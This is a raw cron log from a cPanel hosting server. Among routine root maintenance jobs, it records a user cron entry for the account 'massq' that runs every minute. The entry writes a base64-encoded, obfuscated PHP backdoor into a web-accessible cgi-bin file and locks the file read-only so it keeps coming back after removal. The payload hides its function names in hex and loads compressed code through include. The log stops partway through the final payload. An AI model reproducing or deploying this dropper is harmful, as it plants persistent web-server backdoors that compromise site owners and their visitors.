Sep  3 20:29:01 server CROND[6832]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:29:01 server CROND[6833]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:30:01 server CROND[7288]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 20:30:01 server CROND[7291]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 20:30:01 server CROND[7295]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 20:30:01 server CROND[7298]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 20:30:01 server CROND[7299]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 20:30:01 server CROND[7296]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:30:01 server CROND[7306]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  3 20:30:01 server CROND[7307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:30:01 server CROND[7305]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:31:01 server CROND[8170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:31:01 server CROND[8171]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:31:01 server CROND[8172]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:32:01 server CROND[8542]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:32:01 server CROND[8543]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:32:01 server CROND[8544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:33:02 server CROND[8945]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:33:02 server CROND[8946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:33:02 server CROND[8947]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:34:01 server CROND[9449]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:34:01 server CROND[9450]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:34:01 server CROND[9451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:35:01 server CROND[9872]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 20:35:01 server CROND[9873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:35:01 server CROND[9881]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 20:35:01 server CROND[9882]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 20:35:01 server CROND[9884]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 20:35:01 server CROND[9885]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 20:35:01 server CROND[9887]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:35:01 server CROND[9886]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:35:01 server CROND[9883]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 20:36:01 server CROND[10734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:36:01 server CROND[10735]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:36:01 server CROND[10736]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:37:01 server CROND[11107]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:37:01 server CROND[11109]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:37:01 server CROND[11108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:38:01 server CROND[11488]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:38:01 server CROND[11489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:38:01 server CROND[11490]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:39:01 server CROND[11923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:39:01 server CROND[11924]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:39:01 server CROND[11925]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:39:01 server CROND[11926]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 20:40:01 server CROND[12357]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 20:40:01 server CROND[12362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:40:01 server CROND[12359]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 20:40:01 server CROND[12360]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 20:40:01 server CROND[12365]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:40:01 server CROND[12363]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 20:40:01 server CROND[12364]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 20:40:01 server CROND[12361]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7